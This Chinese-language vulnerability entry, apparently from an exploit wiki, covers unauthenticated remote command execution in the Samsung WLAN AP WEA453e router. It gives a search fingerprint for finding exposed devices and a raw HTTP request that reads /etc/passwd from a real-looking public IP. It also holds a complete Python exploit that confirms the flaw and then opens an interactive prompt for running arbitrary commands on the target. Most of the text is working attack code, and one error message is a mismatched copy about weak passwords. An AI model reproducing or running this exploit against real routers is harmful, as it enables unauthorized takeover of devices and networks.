# 三星 WLAN AP WEA453e路由器 远程命令执行漏洞 ## 漏洞描述 三星 WLAN AP WEA453e路由器 存在远程命令执行漏洞,可在未授权的情况下执行任意命令获取服务器权限。 ## 漏洞影响 ``` 三星 WLAN AP WEA453e路由器 ``` ## 网络测绘 ``` title=="Samsung WLAN AP" ``` ## 漏洞复现 登录页面如下 ![](images/202202110918151.png) 请求包如下 ```plain POST /(download)/tmp/a.txt HTTP/1.1 Host: 175.199.182.152 Connection: close Content-Length: 48 command1=shell:cat /etc/passwd| dd of=/tmp/a.txt ``` ![](images/202202110918410.png) ## 漏洞POC ```python import requests import sys import random import re import base64 import time from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mVersion: 三星 WLAN AP WEA453e路由器 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/(download)/tmp/a.txt" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = "command1=shell:cat /etc/passwd| dd of=/tmp/a.txt" try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5) if "root" in response.text and response.status_code == 200: print("\033[36m[o] 目标 {} 存在漏洞, 响应为:\n{}\033[0m".format(target_url, response.text)) while True: cmd = str(input("\033[35mCmd >>> \033[0m")) POC_2(target_url, cmd) else: print("\033[31m[x] 目标 {} 不存在默认管理员弱口令 \033[0m".format(target_url)) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) def POC_2(target_url, cmd): vuln_url = target_url + "/(download)/tmp/a.txt" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = "command1=shell:{}| dd of=/tmp/a.txt".format(cmd) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5) print("\033[36m{} \033[0m".format(response.text)) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url) ``` ![](images/202202110918137.png)